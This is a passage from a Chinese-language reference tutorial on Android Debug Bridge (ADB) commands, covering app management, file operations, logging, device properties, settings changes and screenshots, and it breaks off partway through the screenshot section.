ADB 操作命令及用法一、ADB是什么?adb 称之为:Android 调试桥 (Android Debug Bridge )是一种允许模拟器或已连接的 Android 设备进行通信的命令行工具,可为各种设备操作提供便利,如安装和调试应用,并提供对 Unix shell(可用来在模拟器或连接的设备上运行各种命令)的访问。可以在Android SDK/platform-tools中找到 adb 工具或下载 ADB Kits 。注意: 有部分命令的支持情况可能与 Android 系统版本及定制 ROM 的实现有关。二、ADB有什么作用?ADB 是 Android SDK 里的一个工具, 用这个工具可以直接操作管理Android模拟器或者真实的Android设备。主要功能有:在设备上运行Shell命令;将本地APK软件安装至模拟器或Android设备;管理设备或手机模拟器上的预定端口;在设备或手机模拟器上复制或粘贴文件。ADB 是一个客户端-服务器程序程序,包括三个组件:客户端:该组件发送命令。客户端在开发计算机上运行。可以通过发出 adb 命令从命令行终端调用客户端。后台程序:该组件在设备上运行命令。后台程序在每个模拟器或设备实例上作为后台进程运行。服务器:该组件管理客户端和后台程序之间的通信。服务器在开发计算机上作为后台进程运行。三、ADB命令语法adb 命令的基本语法如下:adb [-d|-e|-s <serial-number>] <command>单一设备/模拟器连接若仅一个设备/模拟器连接时,可以省略掉 [-d|-e|-s <serial-number>] 这一部分,直接使用 adb <command>。多个设备/模拟器连接若有多个设备/模拟器连接,则需要为命令指定目标设备,下表是指定目标设备的命令选项:参数含义-d指定当前唯一通过 USB 连接的 Android 设备为命令目标-e指定当前唯一运行的模拟器为命令目标-s <serial-number>指定相应设备序列号的设备/模拟器为命令目标在多个设备/模拟器连接的情况下较常用的是 -s <serial-number> 参数,serial-number是指设备的设备序列号,可以通过 adb devices 命令获取。4.1 基本命令4.1.1 查看adb的版本信息adb version4.1.2 启动adbadb start-server一般无需手动执行此命令,在运行 adb 命令时若发现 adb server 没有启动会自动调起。4.1.3 停止adbadb kill-server4.1.4 以 root 权限运行 adbdadb root4.1.5 指定 adb server 的网络端口adb -P <port> start-server注意:ADB的默认端口为 5037。4.1.5 查询已连接的设备/模拟器列表adb devices4.2 应用管理4.2.1 查看应用列表查看应用列表的基本命令格式是:adb shell pm list packages [-f] [-d] [-e] [-s] [-3] [-i] [-u] [--user USER_ID] [FILTER]adb shell pm list packages 后面可以跟一些可选参数进行过滤查看不同的列表,可用参数及含义如下:参数显示列表无所有应用-f显示应用关联的 apk 文件-d仅显示 disabled 的应用-e仅显示 enabled 的应用-s仅显示系统应用-3仅显示第三方应用-i显示应用的 installer-u包含已卸载应用<filter>包名包含 <filter> 字符串4.2.1.1 查看所有应用adb shell pm list packages4.2.1.2 查看系统应用adb shell pm list packages -s4.2.1.3 查看第三方应用adb shell pm list packages -34.2.1.4 查看已禁用应用adb shell pm list packages -d4.2.1.5 查看已启用应用adb shell pm list packages -e4.2.1.6 查看应用及其安装信息(安装来源)adb shell pm list packages -i4.2.1.7 查看应用及其未安装信息(安装来源)adb shell pm list packages -u4.2.1.8 查看应用及其相关联的文件adb shell pm list packages -f4.2.1.9 包名包含某字符串的应用比如要查看包名包含字符串 <package> 的应用列表,命令:adb shell pm list packages <package>4.2.2 安装应用安装应用的基本命令格式是:adb install [-l] [-r] [-t] [-s] [-d] [-g] <apk-file>adb install 后面可以跟一些可选参数来控制安装 APK 的行为,可用参数及含义如下:参数含义-l将应用安装到保护目录 /mnt/asec-r允许覆盖安装-t允许安装 AndroidManifest.xml 里 application 指定 android:testOnly="true" 的应用-s将应用安装到 sdcard-d允许降级覆盖安装-g授予所有运行时权限运行命令后可以看到输出内容,包含安装进度和状态,安装状态如下:Success:代表安装成功。Failure:代表安装失败。 APK 安装失败的情况有很多,Failure状态之后有安装失败输出代码。常见安装失败输出代码、含义及可能的解决办法如下:输出代码含义解决办法INSTALL_FAILED_ALREADY_EXISTS应用已经存在,或卸载了但没卸载干净adb install 时使用 -r 参数,或者先 adb uninstall <packagename> 再安装INSTALL_FAILED_INVALID_APK无效的 APK 文件INSTALL_FAILED_INVALID_URI无效的 APK 文件名确保 APK 文件名里无中文INSTALL_FAILED_INSUFFICIENT_STORAGE空间不足清理空间INSTALL_FAILED_DUPLICATE_PACKAGE已经存在同名程序INSTALL_FAILED_NO_SHARED_USER请求的共享用户不存在INSTALL_FAILED_UPDATE_INCOMPATIBLE以前安装过同名应用,但卸载时数据没有移除;或者已安装该应用,但签名不一致先 adb uninstall <packagename> 再安装INSTALL_FAILED_SHARED_USER_INCOMPATIBLE请求的共享用户存在但签名不一致INSTALL_FAILED_MISSING_SHARED_LIBRARY安装包使用了设备上不可用的共享库INSTALL_FAILED_REPLACE_COULDNT_DELETE替换时无法删除INSTALL_FAILED_DEXOPTdex 优化验证失败或空间不足INSTALL_FAILED_OLDER_SDK设备系统版本低于应用要求INSTALL_FAILED_CONFLICTING_PROVIDER设备里已经存在与应用里同名的 content providerINSTALL_FAILED_NEWER_SDK设备系统版本高于应用要求INSTALL_FAILED_TEST_ONLY应用是 test-only 的,但安装时没有指定 -t 参数INSTALL_FAILED_CPU_ABI_INCOMPATIBLE包含不兼容设备 CPU 应用程序二进制接口的 native codeINSTALL_FAILED_MISSING_FEATURE应用使用了设备不可用的功能INSTALL_FAILED_CONTAINER_ERROR1. sdcard 访问失败;2. 应用签名与 ROM 签名一致,被当作内置应用。1. 确认 sdcard 可用,或者安装到内置存储;2. 打包时不与 ROM 使用相同签名。INSTALL_FAILED_INVALID_INSTALL_LOCATION1. 不能安装到指定位置;2. 应用签名与 ROM 签名一致,被当作内置应用。1. 切换安装位置,添加或删除 -s 参数;2. 打包时不与 ROM 使用相同签名。INSTALL_FAILED_MEDIA_UNAVAILABLE安装位置不可用一般为 sdcard,确认 sdcard 可用或安装到内置存储INSTALL_FAILED_VERIFICATION_TIMEOUT验证安装包超时INSTALL_FAILED_VERIFICATION_FAILURE验证安装包失败INSTALL_FAILED_PACKAGE_CHANGED应用与调用程序期望的不一致INSTALL_FAILED_UID_CHANGED以前安装过该应用,与本次分配的 UID 不一致清除以前安装过的残留文件INSTALL_FAILED_VERSION_DOWNGRADE已经安装了该应用更高版本使用 -d 参数INSTALL_FAILED_PERMISSION_MODEL_DOWNGRADE已安装 target SDK 支持运行时权限的同名应用,要安装的版本不支持运行时权限INSTALL_PARSE_FAILED_NOT_APK指定路径不是文件,或不是以 .apk 结尾INSTALL_PARSE_FAILED_BAD_MANIFEST无法解析的 AndroidManifest.xml 文件INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION解析器遇到异常INSTALL_PARSE_FAILED_NO_CERTIFICATES安装包没有签名INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES已安装该应用,且签名与 APK 文件不一致先卸载设备上的该应用,再安装INSTALL_PARSE_FAILED_CERTIFICATE_ENCODING解析 APK 文件时遇到 CertificateEncodingExceptionINSTALL_PARSE_FAILED_BAD_PACKAGE_NAMEmanifest 文件里没有或者使用了无效的包名INSTALL_PARSE_FAILED_BAD_SHARED_USER_IDmanifest 文件里指定了无效的共享用户 IDINSTALL_PARSE_FAILED_MANIFEST_MALFORMED解析 manifest 文件时遇到结构性错误INSTALL_PARSE_FAILED_MANIFEST_EMPTY在 manifest 文件里找不到找可操作标签(instrumentation 或 application)INSTALL_FAILED_INTERNAL_ERROR因系统问题安装失败INSTALL_FAILED_USER_RESTRICTED用户被限制安装应用INSTALL_FAILED_DUPLICATE_PERMISSION应用尝试定义一个已经存在的权限名称INSTALL_FAILED_NO_MATCHING_ABIS应用包含设备的应用程序二进制接口不支持的 native codeINSTALL_CANCELED_BY_USER应用安装需要在设备上确认,但未操作设备或点了取消在设备上同意安装INSTALL_FAILED_ACWF_INCOMPATIBLE应用程序与设备不兼容INSTALL_FAILED_TEST_ONLYAPK 文件是使用 Android Studio 直接 RUN 编译出来的文件通过 Gradle 的 assembleDebug 或 assembleRelease 重新编译,或者 Generate Signed APKdoes not contain AndroidManifest.xml无效的 APK 文件is not a valid zip file无效的 APK 文件Offline设备未连接成功先将设备与 adb 连接成功unauthorized设备未授权允许调试error: device not found没有连接成功的设备先将设备与 adb 连接成功protocol failure设备已断开连接先将设备与 adb 连接成功Unknown option: -sAndroid 2.2 以下不支持安装到 sdcard不使用 -s 参数No space left on device空间不足清理空间Permission denied ... sdcard ...sdcard 不可用signatures do not match the previously installed version; ignoring!已安装该应用且签名不一致先卸载设备上的该应用,再安装参考:PackageManager.javaadb install 实际是分三步完成:push apk 文件到 /data/local/tmp。调用 pm install 安装。删除 /data/local/tmp 下的对应 apk 文件。4.2.3 卸载应用卸载应用的基本命令格式是:adb uninstall [-k] <package-name><package-name> 表示应用的包名,-k 参数可选,表示卸载应用但保留数据和缓存目录。4.2.4 清理应用数据与缓存adb shell pm clear <package-name><package-name> 表示应用名包,这条命令的效果相当于在设置里的应用信息界面点击了「清除缓存」和「清除数据」。4.2.5 查看前台 Activityadb shell dumpsys activity activities | grep mFocusedActivity4.2.6 查看正在运行的 Servicesadb shell dumpsys activity services [<package-name>]<package-name> 参数不是必须的,指定 <package-name> 表示查看与某个包名相关的 Services,不指定表示查看所有 Services。<package-name> 不一定要给出完整的包名,可以仅给一部分,那么所给包名相关的 Services 都会列出来。4.2.7 查看应用详细信息adb shell dumpsys package <package-name><package-name> 表示应用包名。运行次命令的输出中包含很多信息,包括 Activity Resolver Table、Registered ContentProviders、包名、userId、安装后的文件资源代码等路径、版本信息、权限信息和授予状态、签名版本信息等。4.2.7 查看应用安装路径adb shell pm path <package-name>4.3 与应用交互与应用交互主要是使用 am <command> 命令,常用的 <command> 如下:command用途start [options] <intent>启动 <intent> 指定的 Activitystartservice [options] <intent>启动 <intent> 指定的 Servicebroadcast [options] <intent>发送 <intent> 指定的广播force-stop <package-name>停止 <package-name> 相关的进程<intent> 参数很灵活,和写 Android 程序时代码里的 Intent 相对应。用于决定 intent 对象的选项如下:参数含义-a <action>指定 action,比如 android.intent.action.VIEW-c <category>指定 category,比如 android.intent.category.APP_CONTACTS-n <component>指定完整 component 名,用于明确指定启动哪个 Activity<intent> 里还能带数据,就像写代码时的 Bundle 一样:参数含义--esn <extra-key>null 值(仅 key 名)`-e\--es `--ez <extra-key> <extra-boolean-value>boolean 值--ei <extra-key> <extra-int-value>integer 值--el <extra-key> <extra-long-value>long 值--ef <extra-key> <extra-float-value>float 值--eu <extra-key> <extra-uri-value>URI--ecn <extra-key> <extra-component-name-value>component name--eia <extra-key> <extra-int-value>[,<extra-int-value...]integer 数组--ela <extra-key> <extra-long-value>[,<extra-long-value...]long 数组4.3.1 启动应用/ 调起 Activityadb shell am start [options] <intent>例如:adb shell am start -a android.settings.SETTINGS # 打开系统设置页面 adb shell am start -a android.intent.action.DIAL -d tel:10086 # 打开拨号页面 adb shell am start -n com.android.mms/.ui.ConversationList # 打开短信会话列表options 是一些改变其行为的选项,支持的可选参数及含义如下:选项含义-D启用调试-W等待启动完成--start-profiler file启动分析器并将结果发送到 file-P file类似于 --start-profiler,但当应用进入空闲状态时分析停止-R count重复 Activity 启动次数-S启动 Activity 前强行停止目标应用--opengl-trace启用 OpenGL 函数的跟踪--user user_id \current4.3.2 调起 Serviceadb shell am startservice [options] <intent>一个典型的用例是,若设备上原本应该显示虚拟按键但是没有显示,可以试试这个:adb shell am startservice -n com.android.systemui/.SystemUIService4.3.3 停止 Serviceadb shell am stopservice [options] <intent>4.3.4 强制停止应用adb shell am force-stop <packagename>4.4 文件管理4.4.1 从模拟器/设备下载指定的文件到计算机从模拟器/设备下载指定的文件到计算机的基本命令格式是:adb pull <remote> [local]参数说明:remote: 模拟器/设备里的文件路径local:计算机上的目录,参数可以省略,默认复制到当前目录例如,将 /sdcard/<package>.apk 下载到当前目录:adb pull /sdcard/<package>.apk将 /sdcard/<package>.apk 下载到相应目录(目录需存在):adb pull /sdcard/<package>.apk D:\Download提示:该操作可结合上文所描述的查看应用安装路径的操作以达到导出相应的应用软件的目的。4.4.2 将指定的文件从计算机上传到模拟器/设备将指定的文件从计算机上传到模拟器/设备的基本命令格式是:adb push <local> <remote>参数说明:local:计算机上的文件路径remote: 模拟器/设备里的目录例如,将 D:\Download\下载到设备的/sdcard/music/目录:adb push D:\Download\ /sdcard/music/4.4.4 列出指定目录的内容列出模拟器/设备上指定目录的内容的基本命令格式是:adb shell ls [options] <directory><directory> 表示指定目录,可以省略,表示列出根目录下的所有文件和目录。 adb shell ls 后面可以跟一些可选参数进行过滤查看不同的列表,可用参数及含义如下:参数显示列表无列出目录下的所有文件和目录-a列出目录下的所有文件(包括隐藏的)-i列出目录下的所有文件和索引编号-s列出目录下的所有文件和文件大小-n列出目录下的所有文件及其 UID和 GID-R列出目录下的所有子目录中的文件4.4.5 切换到目标目录adb shell cd <directory>第一步:执行adb shell命令;第二步:执行cd <directory>命令切换到目标目录。4.4.6 删除文件或目录adb shell rm [options] <files or directory>第一步:执行adb shell命令;第二步:执行rm [options] <files or directory>命令删除文件或目录。rm 后面可以跟一些可选参数进行不同的操作,可用参数及含义如下:参数含义无删除文件-f强制删除文件,系统不提示-r强制删除指定目录中的所有文件和子目录-d删除指定目录,即使它是一个非空目录-i交互式删除,删除前提示rm -d 等同于 rmdir 命令,有些版本不包含-d 参数。4.4.7 创建目录adb shell mkdir [options] <directory-name>第一步:执行adb shell命令;第二步:执行mkdir [options] <directory-name>命令创建目录。 mkdir 后面可以跟一些可选参数进行不同的操作,可用参数及含义如下:参数含义无创建指定目录-m创建指定目录并赋予读写权限-p创建指定目录及其父目录4.4.8 创建空文件或改变文件时间戳adb shell touch [options] <file>第一步:执行adb shell命令;第二步:执行touch [options] <file>命令创建空文件或改变文件时间戳。可通过ls -n <directory> 命令查看文件的时间。4.4.9 输出当前目录路径adb shell pwd第一步:执行adb shell命令;第二步:执行pwd命令输出当前目录路径。4.4.10 复制文件和目录adb shell cp [options] <source> <dest>第一步:执行adb shell命令;第二步:执行cp [options] <source> <dest>命令复制文件和目录。参数说明:source:源文件路径dest: 目标文件路径4.4.11 移动或重命名文件adb shell mv [options] <source> <dest>第一步:执行adb shell命令;第二步:执行mv [options] <source> <dest>命令移动或重命名文件。参数说明:source:源文件路径dest: 目标文件路径4.5 网络管理4.5.1 查看网络统计信息adb shell netstat也可以将网络统计信息输出到指定文件:adb shell netstat > <file-path>例如,可以通过 adb shell netstat > D:\netstat.log 将日志输出到 D:\netstat.log 中。4.5.2 测试两个网络间的连接和延迟ping 命令的格式如下:adb shell ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination例如,ping一个域名:adb shell ping <域名>不结束的话会一直ping下去,可以按 Ctrl + C 停止ping操作。也可以指定ping的次数:adb shell ping -c 4 <域名>4.5.3 通过配置文件配置和管理网络连接netcfg 命令的格式如下:adb shell netcfg [<interface> {dhcp|up|down}]输出示例:rmnet_ims10 DOWN 0.0.0.0/0 0x00001002 rmnet_ims00 DOWN 0.0.0.0/0 0x00001002 rmnet_tun04 DOWN 0.0.0.0/0 0x00001002 rmnet_tun03 DOWN 0.0.0.0/0 0x00001002 rmnet_tun02 DOWN 0.0.0.0/0 0x00001002 rmnet_tun01 DOWN 0.0.0.0/0 0x00001002 rmnet_tun00 DOWN 0.0.0.0/0 0x00001002 rmnet_tun14 DOWN 0.0.0.0/0 0x00001002 rmnet_tun13 DOWN 0.0.0.0/0 0x00001002 rmnet_tun12 DOWN 0.0.0.0/0 0x00001002 rmnet_tun11 DOWN 0.0.0.0/0 0x00001002 rmnet_tun10 DOWN 0.0.0.0/0 0x00001002 rmnet1 DOWN 0.0.0.0/0 0x00001002 rmnet0 DOWN 0.0.0.0/0 0x00001002 rmnet4 DOWN 0.0.0.0/0 0x00001002 rmnet3 DOWN 0.0.0.0/0 0x00001002 rmnet2 DOWN 0.0.0.0/0 0x00001002 rmnet6 DOWN 0.0.0.0/0 0x00001002 rmnet5 DOWN 0.0.0.0/0 0x00001002 dummy0 UP 0.0.0.0/0 0x000000c3 rmnet_r_ims10 DOWN 0.0.0.0/0 0x00001002 rmnet_r_ims00 DOWN 0.0.0.0/0 0x00001002 rmnet_emc0 DOWN 0.0.0.0/0 0x00001002 lo UP 127.0.0.1/8 0x00000049 sit0 DOWN 0.0.0.0/0 0x00000080 wlan0 UP 10.0.38.176/23 0x00001043 复制代码4.5.4 显示、操作路由、设备、策略路由和隧道ip 命令的格式如下:adb shell ip [ options ] objectoptions := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |-f[amily] { inet | inet6 | ipx | dnet | link } |-l[oops] { maximum-addr-flush-attempts } |-o[neline] | -t[imestamp] | -b[atch] [filename] |-rc[vbuf] [size]}object := { link | addr | addrlabel | route | rule | neigh | ntable |tunnel | tuntap | maddr | mroute | mrule | monitor | xfrm |netns | l2tp }options 是一些修改ip行为或者改变其输出的选项。所有的选项都是以-字符开头,分为长、短两种形式,支持的可选参数及含义如下:选项含义-V,-Version打印ip的版本并退出-s,-stats,-statistics输出更为详尽的信息(若这个选项出现两次或者多次,输出的信息将更为详尽)-f,-family强调使用的协议种类(包括:inet、inet6或者link)-4是-family inet的简写-6是-family inet6的简写-0是-family link的简写-o,-oneline对每行记录都使用单行输出,回行用字符代替-r,-resolve查询域名解析系统,用获得的主机名代替主机IP地址object 是要管理或者获取信息的对象。目前ip认识的对象包括:参数显示列表link网络设备address一个设备的协议(IP或者IPV6)地址neighbourARP或者NDISC缓冲区条目route路由表条目rule路由策略数据库中的规则maddress多播地址mroute多播路由缓冲区条目tuntap管理 TUN/TAP 设备netns管理网络空间例如,查看 WiFi IP 地址:adb shell ip -f inet addr show wlan04.6 模拟按键/输入在 adb shell 里有个很实用的命令叫 input,通过它可以做一些有趣的事情。可以执行adb shell input命令查看完整 help 信息如下:Usage: input [<source>] <command> [<arg>...] The sources are: dpad keyboard mouse touchpad gamepad touchnavigation joystick touchscreen stylus trackball The commands and default sources are: text <string> (Default: touchscreen) keyevent [--longpress] <key code number or name> ... (Default: keyboard) tap <x> <y> (Default: touchscreen) swipe <x1> <y1> <x2> <y2> [duration(ms)] (Default: touchscreen) draganddrop <x1> <y1> <x2> <y2> [duration(ms)] (Default: touchscreen) press (Default: trackball) roll <dx> <dy> (Default: trackball)比如使用 adb shell input keyevent <keycode> 命令,不同的 keycode 能实现不同的功能,完整的 keycode 列表详见 KeyEvent,摘引部分觉得有意思的如下:keycode含义3HOME 键4返回键5打开拨号应用6挂断电话24增加音量25降低音量26电源键27拍照(需要在相机应用里)64打开浏览器82菜单键85播放/暂停86停止播放87播放下一首88播放上一首122移动光标到行首或列表顶部123移动光标到行末或列表底部126恢复播放127暂停播放164静音176打开系统设置187切换应用207打开联系人208打开日历209打开音乐210打开计算器220降低屏幕亮度221提高屏幕亮度223系统休眠224点亮屏幕231打开语音助手276若没有 wakelock 则让系统休眠下面是 input 命令的一些用法举例。4.6.1 电源键adb shell input keyevent 26执行效果相当于按电源键。4.6.2 菜单键adb shell input keyevent 824.6.3 HOME 键adb shell input keyevent 34.6.4 返回键adb shell input keyevent 44.6.5 音量控制增加音量:adb shell input keyevent 24降低音量:adb shell input keyevent 25静音:adb shell input keyevent 164.6.6 媒体控制播放/暂停:adb shell input keyevent 85停止播放:adb shell input keyevent 86播放下一首:adb shell input keyevent 87播放上一首:adb shell input keyevent 88恢复播放:adb shell input keyevent 126暂停播放:adb shell input keyevent 1274.6.7 点亮/熄灭屏幕点亮屏幕:adb shell input keyevent 224熄灭屏幕:adb shell input keyevent 2234.6.8 滑动解锁若锁屏没有密码,是通过滑动手势解锁,那么可以通过 input swipe 来解锁。命令(向上滑动手势解锁举例):adb shell input swipe 300 1000 300 500参数 300 1000 300 500 分别表示起始点x坐标 起始点y坐标 结束点x坐标 结束点y坐标。4.6.9 输入文本在焦点处于某文本框时,可以通过 input 命令来输入文本。adb shell input text hello4.7 日志打印Android 系统的日志分为两部分,底层的 Linux 内核日志输出到 /proc/kmsg,Android 的日志输出到 /dev/log。4.7.1 Android 日志查看 Android 设备系统属性的基本命令格式是:adb logcat [option] [filter-specs]若需要停止 logcat 日志打印,可以按 Ctrl + C 停止日志监控。4.7.1.1 按级别过滤日志按级别过滤日志的基本命令格式是:adb logcat [filter-specs]Android 的日志分为如下几个优先级(priority):级别含义*:V过滤仅显示 Verbose 及以上级别(优先级最低)*:D过滤仅显示 Debug 及以上级别*:I过滤仅显示 Info 及以上级别*:W过滤仅显示 Warning 及以上级别*:E过滤仅显示 Error 及以上级别*:F过滤仅显示 Fatal 及以上级别*:S过滤仅显示 Silent 及以上级别(优先级最高,什么也不输出)按某级别过滤日志则会将该级别及以上的日志输出。比如,命令:adb logcat *:W会将 Warning、Error、Fatal 和 Silent 日志输出。注意: 在 macOS 下需要给 *:W 这样以 * 作为 tag 的参数加双引号,如 adb logcat "*:W",不然会报错 no matches found: *:W。4.7.1.2 按 tag 和级别过滤日志按 tag 和级别过滤日志的基本命令格式是:adb logcat [tag:level] [tag:level] ...比如,命令:adb logcat ActivityManager:I MyApp:D *:S表示输出 tag ActivityManager 的 Info 以上级别日志,输出 tag MyApp 的 Debug 以上级别日志,及其它 tag 的 Silent 级别日志(即屏蔽其它 tag 日志)。4.7.1.3 将日志格式化输出可以用 adb logcat -v <format> 选项指定日志输出格式。日志支持按以下几种 <format>:参数显示格式brief<priority>/<tag>(<pid>): <message>process<priority>(<pid>) <message>tag<priority>/<tag>: <message>raw<message>time<datetime> <priority>/<tag>(<pid>): <message>threadtime<datetime> <pid> <tid> <priority> <tag>: <message>long[ <datetime> <pid>:<tid> <priority>/<tag> ] <message>日志格式默认为 brief,指定格式可与上面的过滤同时使用。比如:adb logcat -v long ActivityManager:I *:S4.7.1.3 清空已存在的日志adb logcat -c4.7.1.4 将日志显示在控制台adb logcat -d4.7.1.5 将日志输出到文件adb logcat -f <file-path>4.7.1.6 加载一个可使用的日志缓冲区供查看adb logcat -b <Buffer>Android log 输出量巨大,特别是通信系统的log,因此,Android把log输出到不同的缓冲区中,目前定义了四个log缓冲区:缓冲区含义Radio输出通信系统的 logSystem输出系统组件的 logEvent输出 event 模块的 logMain所有 java 层的 log 以及不属于上面3层的 log缓冲区主要给系统组件使用,一般的应用不需要关心,应用的log都输出到main缓冲区中。默认log输出(不指定缓冲区的情况下)是输出System和Main缓冲区的log。4.7.1.7 打印指定日志缓冲区的大小adb logcat -g4.7.2 内核日志adb shell dmesg输出示例:<6>[14201.684016] PM: noirq resume of devices complete after 0.982 msecs <6>[14201.685525] PM: early resume of devices complete after 0.838 msecs <6>[14201.753642] PM: resume of devices complete after 68.106 msecs <4>[14201.755954] Restarting tasks ... done. <6>[14201.771229] PM: suspend exit 2016-08-28 13:31:32.679217193 UTC <6>[14201.872373] PM: suspend entry 2016-08-28 13:31:32.780363596 UTC <6>[14201.872498] PM: Syncing filesystems ... done. 复制代码中括号里的 [14201.684016] 代表内核开始启动后的时间,单位为秒。通过内核日志可以做一些事情,比如衡量内核启动时间,在系统启动完毕后的内核日志里找到 Freeing init memory 那一行前面的时间就是。4.8 查看 Android 设备系统属性查看 Android 设备系统属性的基本命令格式是:adb shell getprop [options]除了可以查看 Android 设备系统属性之外,还可以设置系统属性,设置系统属性的基本命令格式是:adb shell setprop <key> <value>4.8.1 查看设备型号adb shell getprop ro.product.model4.8.2 查看设备电池状况adb shell dumpsys battery输出示例:Current Battery Service state: AC powered: false USB powered: true Wireless powered: false status: 2 health: 2 present: true level: 44 scale: 100 voltage: 3872 temperature: 280 technology: Li-poly其中 scale 代表最大电量,level 代表当前电量。上面的输出表示还剩下 44% 的电量。4.8.3 查看设备屏幕分辨率adb shell wm size输出示例:Physical size: 1080x1920该设备屏幕分辨率为 1080px * 1920px。若使用命令修改过,那输出可能是:Physical size: 1080x1920 Override size: 480x1024表明设备的屏幕分辨率原本是 1080px * 1920px,当前被修改为 480px * 1024px。4.8.4 查看设备屏幕密度adb shell wm density输出示例:Physical density: 360该设备屏幕密度为 360dpi。若使用命令修改过,那输出可能是:Physical density: 420 Override density: 360表明设备的屏幕密度原来是 420dpi,当前被修改为 360dpi。4.8.5 查看设备显示屏参数adb shell dumpsys window displays输出示例:WINDOW MANAGER DISPLAY CONTENTS (dumpsys window displays) Display: mDisplayId=0 init=1080x1920 420dpi cur=1080x1920 app=1080x1794 rng=1080x1017-1810x1731 deferred=false layoutNeeded=false 复制代码其中 mDisplayId 为 显示屏编号,init 是初始分辨率和屏幕密度,app 的高度比 init 里的要小,表示屏幕底部有虚拟按键,高度为 1920 - 1794 = 126px 合 42dp。4.8.6 查看设备 android_idadb shell settings get secure android_id输出示例:5a3a3aa2c30421844.8.7 查看设备IMEI在 Android 4.4 及以下版本可通过如下命令获取 IMEI:adb shell dumpsys iphonesubinfo输出示例:Phone Subscriber Info: Phone Type = GSM Device ID = 860955027785041其中的 Device ID 就是 IMEI。而在 Android 5.0 及以上版本里这个命令输出为空,得通过其它方式获取了(需要 root 权限):adb shell su service call iphonesubinfo 1把里面的有效内容提取出来就是 IMEI 了,比如这里的是 890956027785041。参考:adb shell dumpsys iphonesubinfo not working since Android 5.0 Lollipop4.8.8 查看设备 Android 系统版本adb shell getprop ro.build.version.release4.8.9 查看设备 IP 地址adb shell ifconfig | grep Mask在有的设备上这个命令没有输出,若设备连着 WiFi,可以使用如下命令来查看局域网 IP:adb shell ifconfig wlan0若以上命令仍然不能得到期望的信息,那可以试试以下命令(部分系统版本里可用):adb shell netcfg4.8.10 查看设备 Mac 地址adb shell cat /sys/class/net/wlan0/address这查看的是局域网 Mac 地址,移动网络或其它连接的信息可以通过前面的小节「IP 地址」里提到的 adb shell netcfg 命令来查看。4.8.11 查看设备 CPU 信息adb shell cat /proc/cpuinfo4.8.12 查看设备内存信息adb shell cat /proc/meminfo4.8.13 查看设备更多硬件与系统属性设备的更多硬件与系统属性可以通过如下命令查看:adb shell cat /system/build.prop这会输出很多信息,包括前面几个小节提到的「型号」和「Android 系统版本」等。输出里还包括一些其它有用的信息,也可通过 adb shell getprop <属性名> 命令单独查看,列举一部分属性如下:属性名含义ro.build.version.sdkSDK 版本ro.build.version.releaseAndroid 系统版本ro.build.version.security_patchAndroid 安全补丁程序级别ro.product.model型号ro.product.brand品牌ro.product.name设备名ro.product.board处理器型号ro.product.cpu.abilistCPU 支持的 abi 列表[节注一]persist.sys.isUsbOtgEnabled是否支持 OTGdalvik.vm.heapsize每个应用程序的内存上限ro.sf.lcd_density屏幕密度注意:一些小厂定制的 ROM 可能修改过 CPU 支持的 abi 列表的属性名。若用 ro.product.cpu.abilist 属性名查找不到,可以这样试试:adb shell cat /system/build.prop | grep ro.product.cpu.abi4.9 修改设置注意: 修改设置之后,运行恢复命令有可能显示仍然不太正常,可以运行 adb reboot 重启设备,或手动重启。修改设置的原理主要是通过 settings 命令修改 /data/data/com.android.providers.settings/databases/settings.db 里存放的设置值。4.9.1 修改分辨率adb shell wm size 480x1024表示将分辨率修改为 480px * 1024px。恢复原分辨率命令:adb shell wm size reset4.9.2 修改屏幕密度adb shell wm density 160表示将屏幕密度修改为 160dpi。恢复原屏幕密度命令:adb shell wm density reset手机分辨率对照表宽×高(标准值)240×320320×480480×800720×12801080×19201440×2560DPI等级LDPIMDPIHDPIXHDPIXXHDPIXXXHDPIDPI数值120160240320480640对应比例34681216PX0.7511.52344.9.3 修改显示区域adb shell wm overscan 0,0,0,200四个数字分别表示距离左、上、右、下边缘的留白像素,以上命令表示将屏幕底部 200px 留白。恢复原显示区域命令:adb shell wm overscan reset4.9.4 修改关闭 USB 调试模式adb shell settings put global adb_enabled 0用命令恢复不了了,毕竟关闭了 USB 调试 adb 就连接不上 Android 设备了。去设备上手动恢复吧:「设置」-「开发者选项」-「Android 调试」。4.9.5 修改允许/禁止访问非 SDK API允许访问非 SDK API:adb shell settings put global hidden_api_policy_pre_p_apps 1 adb shell settings put global hidden_api_policy_p_apps 1禁止访问非 SDK API:adb shell settings delete global hidden_api_policy_pre_p_apps adb shell settings delete global hidden_api_policy_p_apps不需要设备获得 Root 权限。命令最后的数字的含义:值含义0禁止检测非 SDK 接口的调用。该情况下,日志记录功能被禁用,并且令 strict mode API,即 detectNonSdkApiUsage() 无效。不推荐。1仅警告——允许访问所有非 SDK 接口,但保留日志中的警告信息,可继续使用 strick mode API。2禁止调用深灰名单和黑名单中的接口。3禁止调用黑名单中的接口,但允许调用深灰名单中的接口。4.9.6 修改状态栏和导航栏的显示隐藏adb shell settings put global policy_control <key-values><key-values> 可由如下几种键及其对应的值组成,格式为 <key1>=<value1>:<key2>=<value2>。key含义immersive.full同时隐藏immersive.status隐藏状态栏immersive.navigation隐藏导航栏immersive.preconfirms?这些键对应的值可则如下值用逗号组合:value含义apps所有应用*所有界面package-name指定应用-package-name排除指定应用例如:adb shell settings put global policy_control immersive.full=*表示设置在所有界面下都同时隐藏状态栏和导航栏。adb shell settings put global policy_control immersive.status=com.package1,com.package2:immersive.navigation=apps,-com.package3表示设置在包名为 com.package1 和 com.package2 的应用里隐藏状态栏,在除了包名为 com.package3 的所有应用里隐藏导航栏。4.11 实用功能4.11.1 屏幕截图截图保存到电脑:adb exec-out screencap -p > sc.png若 adb 版本较老,无法使用 exec-out 命令,建议更新 adb 版本。无法更新的话可以使用以下麻烦点的办法:先截图保存到设备里:adb shell screencap -p /sdcard/sc.png然后将 png 文件导出到电脑:adb pull /sdcard/sc.png可以使用 adb shell screencap -h 查看 screencap 命令的帮助信息,下面是两个有意义的参数及含义:参数含义-p指定保存文件为 png 格式-d display-id指定截图的显示屏编号(有多显示屏的情况下)实测若指定文件名以 .png 结尾时可以省略 -p 参数;否则需要使用 -p 参数。若不指定文件名,截图文件的内容将直接输出到 stdout。另外一种一行命令截图并保存到电脑的方法: Linux 和 